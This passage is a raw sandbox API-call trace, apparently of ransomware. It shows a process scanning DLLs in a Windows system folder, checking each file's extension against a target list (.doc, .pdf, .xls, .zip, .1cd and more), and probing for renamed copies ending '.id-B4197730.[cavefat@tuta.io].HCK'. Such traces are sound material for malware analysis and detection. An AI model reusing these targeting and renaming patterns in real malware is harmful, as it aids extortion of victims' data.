(lpString1=".1cd", lpString2=".dll") returned -1 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString=".jpg") returned 4 [0225.297] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString=".doc") returned 4 [0225.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString=".docx") returned 5 [0225.297] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0225.297] lstrlenW (lpString=".pdf") returned 4 [0225.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString=".xls") returned 4 [0225.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString=".xlsx") returned 5 [0225.297] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0225.297] lstrlenW (lpString=".ppt") returned 4 [0225.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString=".zip") returned 4 [0225.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString=".rar") returned 4 [0225.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString=".bz2") returned 4 [0225.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.297] lstrlenW (lpString=".7z") returned 3 [0225.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString=".dbf") returned 4 [0225.297] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString=".1cd") returned 4 [0225.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString=".jpg") returned 4 [0225.297] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.297] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.298] lstrlenW (lpString="msadco.dll") returned 10 [0225.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.298] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=242688) returned 1 [0225.298] CloseHandle (hObject=0x43c) returned 1 [0225.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0225.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.298] lstrlenW (lpString=".doc") returned 4 [0225.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.298] lstrlenW (lpString=".docx") returned 5 [0225.298] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0225.298] lstrlenW (lpString=".pdf") returned 4 [0225.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.298] lstrlenW (lpString=".xls") returned 4 [0225.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.298] lstrlenW (lpString=".xlsx") returned 5 [0225.298] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0225.298] lstrlenW (lpString=".ppt") returned 4 [0225.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.298] lstrlenW (lpString=".zip") returned 4 [0225.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.298] lstrlenW (lpString=".rar") returned 4 [0225.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.298] lstrlenW (lpString=".bz2") returned 4 [0225.299] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.299] lstrlenW (lpString=".7z") returned 3 [0225.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString=".dbf") returned 4 [0225.299] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString=".1cd") returned 4 [0225.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString=".jpg") returned 4 [0225.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString=".doc") returned 4 [0225.299] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.299] lstrlenW (lpString=".docx") returned 5 [0225.299] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0225.299] lstrlenW (lpString=".pdf") returned 4 [0225.299] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.299] lstrlenW (lpString=".xls") returned 4 [0225.299] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.299] lstrlenW (lpString=".xlsx") returned 5 [0225.299] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0225.299] lstrlenW (lpString=".ppt") returned 4 [0225.299] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString=".zip") returned 4 [0225.299] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.299] lstrlenW (lpString=".rar") returned 4 [0225.299] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.299] lstrlenW (lpString=".bz2") returned 4 [0225.299] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.299] lstrlenW (lpString=".7z") returned 3 [0225.299] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString=".dbf") returned 4 [0225.299] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString=".1cd") returned 4 [0225.299] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 53 [0225.299] lstrlenW (lpString=".jpg") returned 4 [0225.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.299] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.300] lstrlenW (lpString="msadcor.dll") returned 11 [0225.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.300] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2560) returned 1 [0225.300] CloseHandle (hObject=0x43c) returned 1 [0225.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0225.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString=".doc") returned 4 [0225.301] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".docx") returned 5 [0225.301] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0225.301] lstrlenW (lpString=".pdf") returned 4 [0225.301] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".xls") returned 4 [0225.301] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".xlsx") returned 5 [0225.301] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0225.301] lstrlenW (lpString=".ppt") returned 4 [0225.301] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString=".zip") returned 4 [0225.301] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".rar") returned 4 [0225.301] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".bz2") returned 4 [0225.301] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.301] lstrlenW (lpString=".7z") returned 3 [0225.301] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString=".dbf") returned 4 [0225.301] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString=".1cd") returned 4 [0225.301] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString=".jpg") returned 4 [0225.301] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString=".doc") returned 4 [0225.301] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".docx") returned 5 [0225.301] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0225.301] lstrlenW (lpString=".pdf") returned 4 [0225.301] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".xls") returned 4 [0225.301] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".xlsx") returned 5 [0225.301] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0225.301] lstrlenW (lpString=".ppt") returned 4 [0225.301] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.301] lstrlenW (lpString=".zip") returned 4 [0225.301] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".rar") returned 4 [0225.301] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.301] lstrlenW (lpString=".bz2") returned 4 [0225.302] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.302] lstrlenW (lpString=".7z") returned 3 [0225.302] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.302] lstrlenW (lpString=".dbf") returned 4 [0225.302] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.302] lstrlenW (lpString=".1cd") returned 4 [0225.302] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0225.302] lstrlenW (lpString=".jpg") returned 4 [0225.302] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.302] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.302] lstrlenW (lpString="msadds.dll") returned 10 [0225.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.302] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=279552) returned 1 [0225.302] CloseHandle (hObject=0x43c) returned 1 [0225.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0225.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.302] lstrlenW (lpString=".doc") returned 4 [0225.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".docx") returned 5 [0225.303] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0225.303] lstrlenW (lpString=".pdf") returned 4 [0225.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".xls") returned 4 [0225.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".xlsx") returned 5 [0225.303] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0225.303] lstrlenW (lpString=".ppt") returned 4 [0225.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.303] lstrlenW (lpString=".zip") returned 4 [0225.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".rar") returned 4 [0225.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".bz2") returned 4 [0225.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.303] lstrlenW (lpString=".7z") returned 3 [0225.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.303] lstrlenW (lpString=".dbf") returned 4 [0225.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.303] lstrlenW (lpString=".1cd") returned 4 [0225.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.303] lstrlenW (lpString=".jpg") returned 4 [0225.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.303] lstrlenW (lpString=".doc") returned 4 [0225.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".docx") returned 5 [0225.303] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0225.303] lstrlenW (lpString=".pdf") returned 4 [0225.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".xls") returned 4 [0225.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".xlsx") returned 5 [0225.303] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0225.303] lstrlenW (lpString=".ppt") returned 4 [0225.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.303] lstrlenW (lpString=".zip") returned 4 [0225.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".rar") returned 4 [0225.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.303] lstrlenW (lpString=".bz2") returned 4 [0225.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.303] lstrlenW (lpString=".7z") returned 3 [0225.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.304] lstrlenW (lpString=".dbf") returned 4 [0225.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.304] lstrlenW (lpString=".1cd") returned 4 [0225.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0225.304] lstrlenW (lpString=".jpg") returned 4 [0225.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.304] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.304] lstrlenW (lpString="msaddsr.dll") returned 11 [0225.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.304] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2560) returned 1 [0225.304] CloseHandle (hObject=0x43c) returned 1 [0225.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0225.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.304] lstrlenW (lpString=".doc") returned 4 [0225.304] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.304] lstrlenW (lpString=".docx") returned 5 [0225.304] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0225.304] lstrlenW (lpString=".pdf") returned 4 [0225.305] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".xls") returned 4 [0225.305] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".xlsx") returned 5 [0225.305] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0225.305] lstrlenW (lpString=".ppt") returned 4 [0225.305] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString=".zip") returned 4 [0225.305] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".rar") returned 4 [0225.305] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".bz2") returned 4 [0225.305] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.305] lstrlenW (lpString=".7z") returned 3 [0225.305] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString=".dbf") returned 4 [0225.305] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString=".1cd") returned 4 [0225.305] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString=".jpg") returned 4 [0225.305] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString=".doc") returned 4 [0225.305] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".docx") returned 5 [0225.305] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0225.305] lstrlenW (lpString=".pdf") returned 4 [0225.305] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".xls") returned 4 [0225.305] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".xlsx") returned 5 [0225.305] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0225.305] lstrlenW (lpString=".ppt") returned 4 [0225.305] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString=".zip") returned 4 [0225.305] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".rar") returned 4 [0225.305] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.305] lstrlenW (lpString=".bz2") returned 4 [0225.305] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.305] lstrlenW (lpString=".7z") returned 3 [0225.305] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString=".dbf") returned 4 [0225.305] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.305] lstrlenW (lpString=".1cd") returned 4 [0225.306] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0225.306] lstrlenW (lpString=".jpg") returned 4 [0225.306] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.306] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.306] lstrlenW (lpString="msdaprsr.dll") returned 12 [0225.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.306] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2560) returned 1 [0225.306] CloseHandle (hObject=0x43c) returned 1 [0225.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0225.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0225.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0225.307] lstrlenW (lpString=".doc") returned 4 [0225.307] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.307] lstrlenW (lpString=".docx") returned 5 [0225.307] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0225.307] lstrlenW (lpString=".pdf") returned 4 [0225.307] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.307] lstrlenW (lpString=".xls") returned 4 [0225.307] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.307] lstrlenW (lpString=".xlsx") returned 5 [0225.307] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0225.307] lstrlenW (lpString=".ppt") returned 4 [0225.307] lstrcmpiW 